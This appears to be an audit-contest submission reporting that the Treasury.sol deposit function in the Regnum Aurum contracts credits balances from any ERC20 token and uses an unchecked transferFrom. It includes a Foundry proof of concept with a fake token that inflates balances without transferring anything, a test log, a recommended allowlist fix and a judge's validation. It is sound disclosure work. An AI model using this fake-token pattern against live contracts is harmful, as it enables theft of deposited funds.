Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

[M-3] Non-complaint ERC20 Tokens causing wrong state changes.

aye__aye

Summary

In the Treasury.sol contract, the contract recieves tokens using the deposit function but it allows any ERC20 tokens in to the contract.An attacker can use this vulnerability to cause unnecessary state changes even without sending any tokens in to the contract.Also ,the deposit function uses transferFrom instead of using safeTransferFrom this will not cause a revert for tokens that returns bool instead of reverting (like old versions of usdt etc..)

Vulnerability Details

the deposit function allows any tokens to be deposited into the contract.Since _totalValue depends on the total amount of tokens held by the contract, this will result in an incorrect token balance that does not reflect the actual holdings.

function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
@=> IERC20(token).TransferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
_totalValue += amount;
emit Deposited(token, amount);
}

Poc

pragma solidity ^0.8.19;
​
import {Test, console} from "forge-std/Test.sol";
import {ERC20Mock} from "openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol";
import {Treasury} from "../src/contracts/core/collectors/Treasury.sol";
​
contract FakeErc20 is ERC20Mock {
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
return true;
}
}
​
contract TreasuryTest is Test {
FakeErc20 fakeToken;
Treasury treasury;
address owner = makeAddr("owner");
​
function setUp() external {
treasury = new Treasury(owner);
fakeToken = new FakeErc20();
}
​
function test_deposit() external {
treasury.deposit(address(fakeToken), 10e18);
console.log("Total value:", treasury.getTotalValue());
console.log("Balance:", treasury.getBalance(address(fakeToken)));
console.log("fakeToken balance in treasury:", fakeToken.balanceOf(address(treasury)));
}
}
​
Ran 1 test for test/TreasuryTest.t.sol:TreasuryTest
[PASS] test_deposit() (gas: 69539)
Logs:
Total value: 10000000000000000000
Balance: 10000000000000000000
fakeToken balance in treasury: 0

we can see from the test, even withount sending any tokens, the attacker was able to change the _totalValue in the contract and the balance of the attacker _balances in this mapping.

Impact

This will cause unnecessary state changes in the contract leading to incorrect values that do not reflect the actual state.And also if the protocol happens to accept these tokens,it will lead to loss of funds as an attacker can increase their balance in the contract without actually sending these tokens.

Tools Used

manual review

Recommendations

limit the tokens that are being deposited in to the contract by allowing only the tokens that are allowed by the admin and save the allowed tokens in a mapping.

+ error tokenNotAllowed();
​
+ mapping(address => bool) allowedTokens;
​
+ function setAllowedTokens(address token, bool allowOrRevoke) public onlyRole(DEFAULT_ADMIN_ROLE) {
+ allowedTokens[token] = allowOrRevoke;
+ }

change the deposit() function and also use SafeTransferFrom from openzeppelin.

function deposit(address token, uint256 amount) external override nonReentrant {
+ if (!allowedTokens[token]) {
+ revert tokenNotAllowed();
+ }
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
+ IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
_totalValue += amount;
emit Deposited(token, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.